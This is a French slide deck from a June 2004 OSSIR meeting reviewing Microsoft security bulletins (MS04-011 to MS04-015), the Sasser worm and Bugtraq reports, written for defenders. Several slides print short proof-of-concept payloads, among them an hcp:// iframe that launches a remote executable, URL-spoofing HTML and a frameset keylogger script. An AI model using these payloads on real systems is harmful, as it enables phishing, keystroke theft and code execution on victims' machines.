EdelWeb

OSSIR
Groupe Sécurité Windows

Réunion du 7 juin 2004

Revue des dernières vulnérabilités Microsoft

Nicolas RUFF

nicolas.ruff@edelweb.fr

Dernières vulnérabilités
Avis Microsoft (1/7)

EdelWeb

- **Avis de sécurité Microsoft depuis le 05/04/2004**
  - **MS04-011 "Patchwork" de vulnérabilités critiques**
    - **Affecte : Windows NT4, 2000, XP, 2003**
  - **LSASS Vulnerability**
    - **CAN-2003-0533**
    - **http://www.securityfocus.com/bid/10108**
    - **Remote Code Execution**
    - **Source : Carlos Sarraute / Core Security Technologies, eEye**
    - **Détails publiés**
  - **LDAP Vulnerability**
    - **CAN-2003-0663**
    - **http://www.securityfocus.com/bid/10114**
    - **Denial Of Service**
    - **Source : ?**
  - **PCT Vulnerability**
    - **CAN-2003-0719**
    - **http://www.securityfocus.com/bid/10116**
    - **Remote Code Execution**
    - **Source : Internet Security Systems**

Dernières vulnérabilités
Avis Microsoft (2/7)

EdelWeb

- Winlogon Vulnerability
  - CAN-2003-0806
  - http://www.securityfocus.com/bid/10126
  - Remote Code Execution
  - Source : Ondrej Sevecek
- Metafile Vulnerability
  - CAN-2003-0906
  - http://www.securityfocus.com/bid/10120
  - Remote Code Execution
  - Source : eEye
  - Détails publiés
- Help and Support Center Vulnerability
  - CAN-2003-0907
  - http://www.securityfocus.com/bid/10119
  - Remote Code Execution (injection de scripts en zone poste de travail)
  - Source : iDefense, Jouko Pynnönen
  - Détails publiés
- Utility Manager Vulnerability
  - CAN-2003-0908
  - http://www.securityfocus.com/bid/10124
  - Privilege Elevation
  - Source : Brett Moore / Security-Assessment, Cesar Cerrudo, Ben Pryor
  - Détails publiés

Dernières vulnérabilités
Avis Microsoft (3/7)

EdelWeb

- Windows Management Vulnerability
  - CAN-2003-0909
  - http://www.securityfocus.com/bid/10125
  - Privilege Elevation
  - Source : Erik Kamphuis / LogicaCMG (en partenariat avec les impôts Hollandais)
- Local Descriptor Table Vulnerability
  - CAN-2003-0910
  - http://www.securityfocus.com/bid/10122
  - Privilege Elevation
  - Source : eEye
  - Détails publiés
- H.323 Vulnerability
  - CAN-2004-0117
  - Remote Code Execution
  - Source : ?
  - http://www.securityfocus.com/bid/10111

Dernières vulnérabilités
Avis Microsoft (4/7)

EdelWeb

- Virtual DOS Machine Vulnerability
  - CAN-2004-0118
  - http://www.securityfocus.com/bid/10117
  - Privilege Elevation
  - Source : eEye
  - Détails publiés
- Negotiate SSP Vulnerability
  - CAN-2004-0119
  - http://www.securityfocus.com/bid/10113
  - Remote Code Execution
  - Source : NSFOCUS Security Team (http://www.nsfocus.com/english/homepage/research/0401.htm)
  - Détails publiés
- SSL Vulnerability
  - CAN-2004-0120
  - http://www.securityfocus.com/bid/10115
  - Remote Code Execution (Microsoft parle de DoS)
  - Source : John Lampe / Tenable Network Security
  - Exploit disponible
- ASN.1 “Double Free” Vulnerability
  - CAN-2004-0123
  - http://www.securityfocus.com/bid/10118
  - Remote Code Execution
  - Source : Foundstone, Qualys

Dernières vulnérabilités
Avis Microsoft (5/7)

EdelWeb

- MS04-012 Patch cumulatif pour RPC/DCOM
  - Affecte : Windows NT4, 2000, XP, 2003
  - RPC Runtime Library Vulnerability
    - CAN-2003-0813
    - Exploit : Remote Code Execution
    - Source : eEye (détails publiés)
  - RPCSS Service Vulnerability
    - CAN-2004-0116
    - http://www.securityfocus.com/bid/10127
    - Exploit : DoS
    - Source : eEye (détails publiés)
  - CIS - RPC over HTTP Vulnerability
    - CAN-2003-0807
    - http://www.securityfocus.com/bid/10123
    - Exploit : DoS
    - Source : Qualys
  - Object Identity Vulnerability
    - CAN-2004-0124
    - http://www.securityfocus.com/bid/10121
    - Exploit : Information Disclosure
    - Source : Todd Sabin / BindView

Dernières vulnérabilités
Avis Microsoft (6/7)

EdelWeb

- MS04-013 Patch cumulatif pour Outlook Express
  - Affecte :
    - Moteur MHTML livré avec Outlook Express
    - Pré-installé par défaut sur Windows NT4, 2000, XP, 2003
    - Sur-ensemble du bogue "ms-its"
  - Exploit : Remote Code Execution
  - Source : N/D

- MS04-014 Vulnérabilité Jet
  - Affecte : Windows NT4, 2000, XP, 2003
  - Exploit :
    - "Buffer overflow" / Remote Code Execution
    - CAN-2004-0197
    - http://www.securityfocus.com/bid/10112
  - Source :
    - Matt Thompson / Aberdeen IT

Dernières vulnérabilités
Avis Microsoft (7/7)

- MS04-015 Vulnérabilité dans le "Help and Support Center"
  - Date : mai 2004
  - Affecte : Windows XP, 2003
  - Exploit :
    - Exécution de code dans le contexte de l'utilisateur via un lien
    - <iframe src="hcp://system/DVDUpgrd/dvdupgrd.htm?website=site.com/malicieux.exe" width="1" height="1"></iframe>
  - Source : Morning Wood

- Mise à jour de bulletins
  - Avril 2004 :
    - MS00-082, MS01-041, MS02-011, MS03-046 : patches Exchange 5.0
  - Mai 2004 :
    - MS01-052 : patch NT4 TS
      - Cf. http://www.securityfocus.com/bid/10325
    - MS04-014 : correction des chaînes de caractères

Dernières vulnérabilités
Infos Microsoft (1/4)

EdelWeb

- **Ver(s) Sasser**
  - Vers "classiques"
    - Exploitent la faille LSA
    - Se connectent sur le port TCP/445
    - Après exploitation, récupèrent le code par FTP
      - Bogué ("buffer overflow" exploitable)
    - Ouverture de backdoors
  - … et pourtant un grand succès
    - AFP (plusieurs heures d'interruption)
    - Commission européenne (1 000 PC)
    - Poste taiwanaise (1 600 PC)
    - Poste allemande (300 000 PC)
    - Gardes côtes anglais

Dernières vulnérabilités
Infos Microsoft (2/4)

EdelWeb

- **Auteurs arrêtés**
  - **Sasser : un allemand de 18 ans (Sven Jaschan)**
    - **Dénoncé dans l'espoir de toucher une prime de 250,000 $**
      - **http://www.microsoft.com/presspass/press/2004/may04/05-08SasserTelePR.asp**
    - **Egalement à l'origine de NetSky**
      - **http://news.bbc.co.uk/1/hi/world/europe/3695857.stm**
    - **Sasser-E identifié 3h45 après l'arrestation**
      - **Un ver "gentil" qui prévient l'utilisateur**
  - **Agobot / Phatbot : un allemand de 21 ans**

Dernières vulnérabilités
Infos Microsoft (3/4)

- **Effets de bord des patches ?**
  - Lu dans les newsgroups donc fiabilité à vérifier
  - Perte du support HTTPS dans IE
    - Un vieux bogue ?
    - http://support.microsoft.com/?kbid=261328
  - Désactivation du "parent path" dans IIS

- **Le point sur les avancées en matière de sécurité**
  - par Bill Gates
  - en Français
  - http://www.microsoft.com/france/apropos/entreprise/bulletins/20040331-security-fr.asp

- **Accord amiable Sun / Microsoft**
  - Signé le 2 avril 2004
  - http://www.microsoft.com/france/cp/2004/4/info.asp?mar=/france/cp/2004/4/02040401_a56.html

Dernières vulnérabilités
Infos Microsoft (4/4)

- Site "anti spyware" de Microsoft
  - http://www.microsoft.com/security/articles/spyware.asp
- XP SP2 Demo Code
  - http://www.microsoft.com/downloads/details.aspx?FamilyID=f87cf701-4e68-4e9e-ade5-59d4d40d8e23&DisplayLang=en
- "I Got Hacked, What Do I Do ?"
  - http://www.microsoft.com/technet/community/columns/secmgmt/sm0504.mspx
- "Users who have expired passwords can still log on to the domain if the FQDN is exactly eight characters long in Windows 2000"
  - http://support.microsoft.com/?id=830847
  - Merci à J.B. Marchand pour l'info

Dernières vulnérabilités
Autres avis (1/10)

- **Adoption de la loi sur l'Économie Numérique**
  - **En bonne voie …**
- **Une implémentation de SUID sous Windows**
  - **http://www.neovalens.com/**
  - **Par les créateurs de SecureEXE, SecureNT, SecureStack**
- **Affaire ViGuard vs. Guillermito**
  - **Affaire complexe, en cours de jugement**
- **4 bogues LHA (CAN-2004-0234, CAN-2004-0235)**
  - **2 "buffer overflow" exploitables**
  - **2 "directory traversal"**
  - **Code réutilisé dans de nombreux moteurs antivirus**

Dernières vulnérabilités
Autres avis (2/10)

EdelWeb

- **Bugtraq**
  - **DoS de l'explorateur via la commande "shell:…"**
    - **Affecte : Windows XP (autres non testés)**
    - **http://www.securityfocus.com/bid/9924**
  - **DoS générique dans tout filtre ISAPI**
    - **Affecte : tout filtre ISAPI utilisant les MFC et compilé avec Visual Studio 6 (autres non testés)**
    - **Exploit : envoi massif de POST**
    - **http://www.securityfocus.com/bid/9963**
  - **Modification de la barre de statut via un formulaire**
    - **Permet de masquer la cible d'un lien**
    - **Permet au final de compromettre complètement la machine cible**
    - **Exploit : http://www.malware.com/not-so-good.zip**
    - **Affecte : IE 6 et OE 6 (autres non testés)**
    - **http://www.securityfocus.com/bid/10023**

Dernières vulnérabilités
Autres avis (3/10)

EdelWeb

- Cross-site scripting dans SharePoint
  - Affecte : SharePoint Portal 2001 pre-SP3
  - http://www.securityfocus.com/bid/10043
- "Buffer overflow" dans l'objet MSWebDVD
  - Affecte : IE 6 / Windows XP avec ce composant installé
  - http://www.securityfocus.com/bid/10056
- DoS IE via le composant Flash Player
  - Exploit : LoadMovie 1,"xxx.swf"
  - http://www.securityfocus.com/bid/10057
- Crash IE trivial
  - Affecte : IE (version non précisée)
  - Exploit : <iframe src="?">
  - http://www.securityfocus.com/bid/10073

Dernières vulnérabilités
Autres avis (4/10)

EdelWeb

- DoS IE via un fichier BMP de 58 octets
  - Se décompresse en FFFFFFFF² = 51,539,607,528 octets
  - Exploit : http://www.4rman.com/exploits/tinybmp.htm
  - Référence
    - http://www.securityfocus.com/bid/10097
- OE crash si l'entête ne contient pas de "FROM:"
  - Exploit : http://www.4rman.com/exploits/whosendthis.zip
  - Référence
    - http://www.securityfocus.com/bid/10098
- DoS Outlook
  - Affecte : Outlook, Outlook Express
  - Exploit : créer un message avec un caractère NULL
  - Référence
    - http://www.securityfocus.com/bid/10144

Dernières vulnérabilités
Autres avis (5/10)

EdelWeb

- **Buffer overflow dans le traitement des noms SMB longs**
  - **Affecte : Windows NT4, 2000, XP**
  - **Exploit : (smb.conf)**
    - **[AAA...AAAA]**
    - **comment = bug**
    - **path = /tmp/testfolder**
    - **public = yes**
    - **writable = yes**
    - **printable = no**
    - **browseable = yes**
    - **write list = @trymywingchung**
  - **Référence**
    - **http://www.securityfocus.com/bid/10213**

Dernières vulnérabilités
Autres avis (6/10)

EdelWeb

- Spoofing SSL via le tag META
  - Affecte : IE 6.0 (autres non testés)
  - Exploit :
    - <HTML><HEAD><meta http-equiv="REFRESH" content="0;url=https://www.example.com/"> < /HEAD>< BODY onUnload='window.location="">< /BODY>< /HTML>
  - Référence
    - http://www.securityfocus.com/bid/10248

- Divulgation d'information via une requête GET malformée
  - Affecte : ASP.NET
  - Exploit : non disponible
  - Référence
    - http://www.securityfocus.com/bid/10292

- Emplacement du cache prédictible
  - Affecte : Outlook 2003
  - Exploit :
    - <img src="malware.htm" style="display:none">
  - Référence
    - http://www.securityfocus.com/bid/10307

Dernières vulnérabilités
Autres avis (7/10)

EdelWeb

- **Masquage d'URL via un imagemap**
  - **Affecte : IE / OE / Outlook (toutes versions)**
  - **Exploit :**
    - **<A HREF=http://www.example.com alt="http://www.example.com">**
      <IMG SRC="malware.gif" USEMAP="#malware" border=0 alt="http://www.example.com"></A>

      <map NAME="malware" alt="http://www.example.com">
      <area SHAPE=RECT COORDS="224,21" HREF="http://www.malware.com"
      alt="http://www.example.com"></MAP>
    - **http://www.kurczaba.com/securityadvisories/0405132poc.htm**
  - **Référence**
    - **http://www.securityfocus.com/bid/10308**

- **Webbug utilisable dans Outlook 2003**
  - **Affecte : Outlook 2003**
  - **Exploit :**
    - **<v:vml frame style="LEFT: 50px; WIDTH: 300px; POSITION:**
      relative; TOP: 30px; HEIGHT: 200px" src =
      "http://www.example.com/duh.txt#malware"></v:vmlframe>

      <HTML><HEAD><STYLE>v\:* { behavior: url(#default#VML); }
      </STYLE><XML:NAMESPACE NS="urn:schemas-microsoft-com:vml" PREFIX="v"/></HEAD>
  - **Référence**
    - **http://www.securityfocus.com/bid/10323**

Dernières vulnérabilités
Autres avis (8/10)

EdelWeb

- Masquage d'URL dans de nombreux clients de messagerie
  - Affecte : liste trop longue pour être reproduite ici
  - Exploit :
    - http://drs.yahoo.com/example.com/NEWS/*http://slashdot.org/#http://drs.yahoo.com/www.example.com/NEWS
  - Référence
    - http://www.securityfocus.com/bid/10324

- Masquage d'URL dans OE
  - Affecte : Outlook Express 6
  - Exploit :
    - <BASE href=http://www.example1.com target=_top>
    - <A href="http://www.example2.com">http://www.example1.com</A>
  - Référence
    - http://www.securityfocus.com/bid/10345

Dernières vulnérabilités
Autres avis (9/10)

EdelWeb

- **Bugtraq (non confirmé)**
  - **IE permet d'imprimer sans confirmation ☺**
  - **Nouvelles méthodes de suppression des mots de passe Word**
    - **1 : "file / insert" dans un nouveau document**
    - **2 : ouvrir un fichier RTF déjà ouvert et faire "revert to save"**
  - **Cross-site scripting dans Hotmail**
    - **Pas de filtrage du tag IFRAME dans le "subject"**
  - **Cross zone scripting**
    - **Affecte : IE**
    - **Exploit :**
      - **<a href="shell:Cache">**
      - **http://www.malware.com/shell.game.html**
  - **DoS IE / Outlook**
    - **Affecte : IE, Outlook**
    - **Exploit :**
      - **http://<hostname>%00%00**
    - **Source :**
      - **http://www.acrossecurity.com/aspr/ASPR-2004-01-20-1-PUB.txt**

Dernières vulnérabilités
Autres avis (10/10)

EdelWeb

- **Pourquoi mettre une pièce jointe alors que l'email lui-même est un fichier ZIP ?**
  - **Exploit : http://www.malware.com/eml.zip**
  - **MIME-Version: 1.0**
  - **Content-Type: application/x-zip-compressed**
  - **Content-Transfer-Encoding: binary**
  - **X-Source: 06.03.04 http://www.malware.com**
  - **PK…**

- **Cross-domain scripting en forçant le focus**
  - **Affecte : IE**
  - **Source : iDefense**
  - **Exploit :**
    - **<html> <head><script>**
    - **var keylog=''; document.onkeypress = function () { k = window.event.keyCode; window.status = keylog += String.fromCharCode(k) + '[' + k +']'; }**
    - **</script></head>**
    - **<frameset onLoad="this.focus();" onBlur="this.focus();" cols="100%,*">**
    - **<frame src="http://www.idefense.com/register.jsp" scrolling="auto">**
    - **</frameset></html>**

Questions / réponses

EdelWeb

- **Questions / réponses**
- **Date de la prochaine réunion**
  - **Lundi 5 juillet 2004**
- **N'hésitez pas à proposer des sujets et des salles**